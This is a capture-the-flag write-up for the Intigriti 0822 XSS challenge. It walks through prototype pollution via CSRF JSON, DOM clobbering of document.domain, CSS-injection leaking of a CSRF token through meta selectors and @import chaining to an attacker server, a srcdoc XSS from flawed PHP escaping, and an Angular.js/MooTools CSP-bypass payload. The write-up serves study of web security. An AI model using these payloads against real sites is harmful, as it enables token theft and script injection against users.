Intigriti 0822 XSS Challenge Writeup
This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .
Recently, I solved the Intigriti 0822 XSS Challenge and successfully achieved First Blood on this challenge. This challenge combines various frontend attack techniques and includes some new exploitation methods worth learning, so I will briefly document my solution.
Overview
The challenge provides the source code, so let's list some potentially exploitable points:
app.php
allows specifying HTML through#msg=
, which will be sanitized by DOMPurify 2.3.6 and then injected as HTML, but it will be removed in less than a second.app.php
has direct HTML injection:value="<?= $_SESSION['name']; ?>"
, but the length must be less than 20.preview.php
can be exploited through the POST parameterdesc
. Although it undergoes HTML filtering, the filtering method is flawed, allowing CSRF -> XSS.preview.php
verifies the CSRF Token, which appears on theapp.php
page.- The entire site has CSP, but since it allows
https://cdnjs.cloudflare.com/ajax/libs/
, it is evident that Angular.js is used to bypass it.
From these five points, the general attack flow can be inferred:
- Use some method (e.g., CSS Injection) to steal the CSRF Token through
app.php
. - Use the Token to perform a CSRF attack on
preview.php
to achieve XSS. - Use Angular.js to bypass CSP.
However, there are some issues, such as the html injection
content being removed quickly, making CSS Injection difficult, so a bypass method is needed. Additionally, CSS Injection is not straightforward due to the HTML structure, and these issues need to be resolved one by one.
Bypass HTML Injection Timeout
Here is the entire content of app.js
:
let isDarkMode = false
let theme
initTheme()
document.querySelector('.btn-update-name').addEventListener('click', () => {
const name = prompt('Please input new name')
if (!name) return
const csrfToken = document.querySelector('meta[name="csrf-token"]').content
fetch('./update-name.php', {
method: 'POST',
headers: {
'content-type': 'application/x-www-form-urlencoded'
},
credentials: 'include',
body: `csrf-token=${encodeURIComponent(csrfToken)}&name=${encodeURIComponent(name)}`
})
.then(r => r.text())
.then(res => {
if (res === 'success') {
document.querySelector('#nameField').value = name
}
alert(res)
}).catch(e => {
alert('Failed:' + e.toString())
})
})
function initTheme() {
if (window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches) {
isDarkMode = true
}
fetch("theme.php")
.then((res) => res.json())
.then((serverTheme) => {
theme = {
primary: {},
secondary: {}
}
for(let themeName in serverTheme) {
const currentTheme = theme[themeName]
const currentServerTheme = serverTheme[themeName]
for(let item in currentServerTheme) {
currentTheme[item] = () => isDarkMode ? currentServerTheme[item].dark : currentServerTheme[item].light
}
}
const themeDiv = document.querySelector('.theme-text')
themeDiv.innerText = `Primary - Text: ${theme?.primary?.text()}, Background: ${theme?.primary?.bg()}
Secondary - Text: ${theme?.secondary?.text()}, Background: ${theme?.secondary?.bg()}
`
start()
})
}
function start() {
const message = decodeURIComponent(location.hash.replace('#msg=', ''))
if (!message.length) return
const options = {}
if (document.domain.match(/testing/)) {
options['production'] = false
} else {
options['production'] = true
options['timeout'] = () => Math.random()*300 + 300
}
showMessage(message, {
container: document.querySelector('body'),
...options
})
}
function showMessage(message, options) {
const getTimeout = options.timeout || (() => 500)
const container = options.container || document.querySelector('body')
const modal = document.createElement('div')
modal.id = 'messageModal'
modal.innerHTML = DOMPurify.sanitize(message)
container.appendChild(modal)
history.replaceState(null, null, ' ')
setTimeout(() => {
container.removeChild(modal)
}, getTimeout())
}
First, fetch theme.php
and do some things, then enter start
, and determine document.domain
to decide whether it is production
and whether to specify the timeout
parameter. Finally, timeout
will be used in the removeChild
timeout. From this alone, it is not clear how to bypass this time limit, so we can focus on the previous part.
In the response handling part of the fetch above, it can be found that if serverTheme
is controllable, we can achieve prototype pollution here, and the polluted value will be a simple function that returns a value. For example, if serverTheme
includes __proto__
like this:
...
"__proto__": {
"asd": {
"dark": true,
"light": true
}
}
Then Object.prototype.asd() === true
will be true. Therefore, if start
enters the document.domain.match(/testing/)
branch, we can pollute Object.prototype.timeout
to return a large number, allowing the HTML injection to last longer.
Controlling serverTheme
is not difficult because it parses the body as JSON and outputs formatted JSON without checking Content-Type
, so we can bypass it using the well-known CSRF JSON trick.
However, the problem becomes how to make document.domain.match(/testing/)
true. Although a quick Google search shows that the 0121 XSS challenge supports *.challenge-0121.intigriti.io
, so testing.challenge-0121.intigriti.io would work, this challenge does not have such a design, so this trick cannot be used.
The key to bypassing here is to use the 20-character injection. Since the injection point is within an attribute, inserting "><img name=domain>
can clobber document.domain
, making it an HTMLElement without a .match
function, causing an error. We need to use prototype pollution again to make Object.prototype.match() === true
true, allowing it to pass the condition check, enter the branch, and successfully achieve persistent HTML Injection.
In summary, we need to first CSRF JSON to modify the theme, perform prototype pollution to modify timeout()
and match()
to make the timeout very long, allowing the HTML Injection to persist on the page for subsequent exploitation.
CSS Injection
Since CSRF attacking preview.php
requires a CSRF Token, we need to find a way to leak the CSRF Token. DOMPurify allows the <style>
tag by default, so the method is obvious: CSS Injection.
PS:
DOMPurify.sanitize('<style></style>')
results in an empty string, butDOMPurify.sanitize('a<style></style>')
does not. This is because DOMPurify internally usesDOMParser
, so the behavior is similar to how browsers handle HTML5, where style is placed in<head>
by default.
The CSRF Token on the app.php
page appears in two places:
<head>
<!-- other elements omitted -->
<meta name="csrf-token" content="<?= $csrf_token ?>">
</head>
<div>
<input type="hidden" name="csrf-token" value="<?= $csrf_token ?>" />
</div>
The input
part is more common, using input[value^=a]
to match and then leaking it through background: url(http://attacker/?leak=a)
. However, the problem is that type="hidden"
causes the entire element to be hidden, preventing the background
from loading, so it cannot be used to leak.
Although a quick Google search reveals the method input[value^=a] ~ *
to match any element at the same level after the corresponding input, the input
is the only element under the div
, so this trick cannot be used either.
CSS also has a newer feature called :has
, which can be used in supported browsers to match the div
with div:has(input[value^=a])
. However, :has
was added in Chromium 105, and Chrome Stable will be upgraded to 105 on 2022/08/30, two days after this challenge ends, so this trick cannot be used either.
The key here is to notice that the CSRF Token is also in the content
of the <meta>
tag, but since it is a hidden element, background
is still ineffective. However, adding head, meta { display:block; }
reveals something interesting: elements in <head>
can be made visible with display: block;
, and background
can indeed be triggered. Therefore, using meta[content^=a]
to leak is feasible.
To leak the entire CSRF Token (32 chars) at once, some CSS @import
tricks with server-generated CSS are needed. I referred to the Sequential Import Chaining method. Basically, create 32 <style>
tags, each with an @import 'SERVER/polling/{i}';
, and the server handles the response for i=0
like this:
meta[content^=0] {
background: url('SERVER/leak/0');
}
meta[content^=1] {
background: url('SERVER/leak/1');
}
...
If the first character is a
, the server returns /leak/a
and then responds with i=1
:
meta[content^=a0] {
background: url('SERVER/leak/a0');
}
meta[content^=a1] {
background: url('SERVER/leak/a1');
}
...
Using this method, characters can be leaked one by one. However, there are practical issues, such as Chromium limiting to 6 connections per host, blocking /leak/?
when polling is stuck.
The workaround is simple: provide two hosts to bypass this issue. I used Flask to listen on one port and socat to proxy to another port, using different ports for polling and leaking. Later, I moved the exploit to my website to bypass mixed content issues, and with CloudFlare as a proxy, HTTP/3 allowed using the same host without blocking. I guess HTTP/2 would have the same effect.
XSS + Angular CSP Bypass
After obtaining the CSRF Token, a CSRF attack on preview.php
can be performed. Although it escapes HTML, the handling is flawed:
$desc = htmlspecialchars($desc);
$desc = preg_replace('/(https?:\/\/www\.youtube\.com\/embed\/[^\s]*)/', '<iframe src="$1"></iframe>', $desc);
$desc = preg_replace('/(https?:\/\/[^\s]*\.(png|jpg|gif))/', '<img src="$1">', $desc);
After escaping, it replaces HTML content, resulting in:
http://www.youtube.com/embed/srcdoc='asd'.png
<iframe src="<img src="http://www.youtube.com/embed/srcdoc='asd'.png">"></iframe>
Thus, using two layers of replacement, the payload moves to the attribute context, and srcdoc is used for XSS.
This only works in PHP 7, as PHP 8's
htmlspecialchars
default option includesENT_QUOTES
, escaping'
, making it more complicated.
Finally, to bypass CSP, since the initial iframe is hidden and user interaction is not required, the most stable bypass is using Angular.js + Prototype.js:
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
</div>
Using newer or older Angular.js versions without Sandbox protection easily achieves eval, but it violates CSP, so finding a way to get
window
in theng-csp
simulated environment is necessary.
However, preview.php
blacklists $desc
:
$dangerous_words = ['eval', 'setTimeout', 'setInterval', 'Function', 'constructor', 'proto', 'on', '%', '&', '#', '?', '\\'];
foreach ($dangerous_words as $word) {
if (stripos($desc, $word) !== false){
header("Location: app.php#msg=dangerous word detected!");
die();
}
}
It prohibits proto
and other HTML-related escape characters, so prototype.js
cannot be used, requiring a similar alternative. Since Google searches yield little information, understanding Angular Sandbox Escape is necessary. The key is here:
function curry() {
if (!arguments.length) return this;
var __method = this, args = slice.call(arguments, 0);
return function() {
var a = merge(args, arguments);
return __method.apply(this, a);
}
}
It returns this
when no parameters are provided, and in JavaScript, this
in a non-existent context is global:
function f() { return this }
const o = { f }
// all true
console.log(f() === window)
console.log(o.f() === o)
console.log(f.call(o) === o)
console.log(f.call() === window)
So the goal is simple: find a library on cdnjs that modifies the builtin object's prototype
and includes return this
. My thought was that in 2022, except for polyfills, few libraries modify prototypes, so looking at older libraries might help. Among libraries from the Prototype.js era, MooTools is notable, as it is the main reason Array.prototype.includes
is not called Array.prototype.contains
and related to SmooshGate.
Searching for return this
in mootools-core.js reveals:
Function.prototype.overloadSetter = function(usePlural){
var self = this;
return function(a, b){
if (a == null) return this;
if (usePlural || typeof a != 'string'){
for (var k in a) self.call(this, k, a[k]);
/*<ltIE8>*/
forEachObjectEnumberableKey(a, self, this);
/*</ltIE8>*/
} else {
self.call(this, a, b);
}
return this;
};
};
Thus, fn.overloadSetter().call()
retrieves the window
object. Adjusting the Angular.js expression slightly bypasses CSP, achieving alert(document.domain)
:
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.js></script>
<script src=https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.js></script>
<body ng-app ng-csp>
{{a=$apply.overloadSetter().call()}}{{a.alert(a.document.domain)}}
</body>
Final Exploit
The complete exploit can be downloaded here: exp.tar.gz
This challenge is very interesting, combining many common techniques and some unique twists (e.g., <meta>
, MooTools
), requiring a combination of many basic skills to solve. It also taught me how to perform a practical CSS Injection, not just the rough concept.
Additionally, my CSS Injection method has some issues on Firefox due to differences in handling @import
compared to Chromium. According to Huli, the method in CSS data exfiltration in Firefox via a single injection point can be referenced and adjusted to succeed. I might research the differences later.
Appendix
Writeup by one of the authors, Huli: Intigriti 0822 XSS Challenge Author Writeup
Writeup by one of the authors, Bruno: BrunoHalltari/CTF-Writeups - challenge-0822.intigriti.io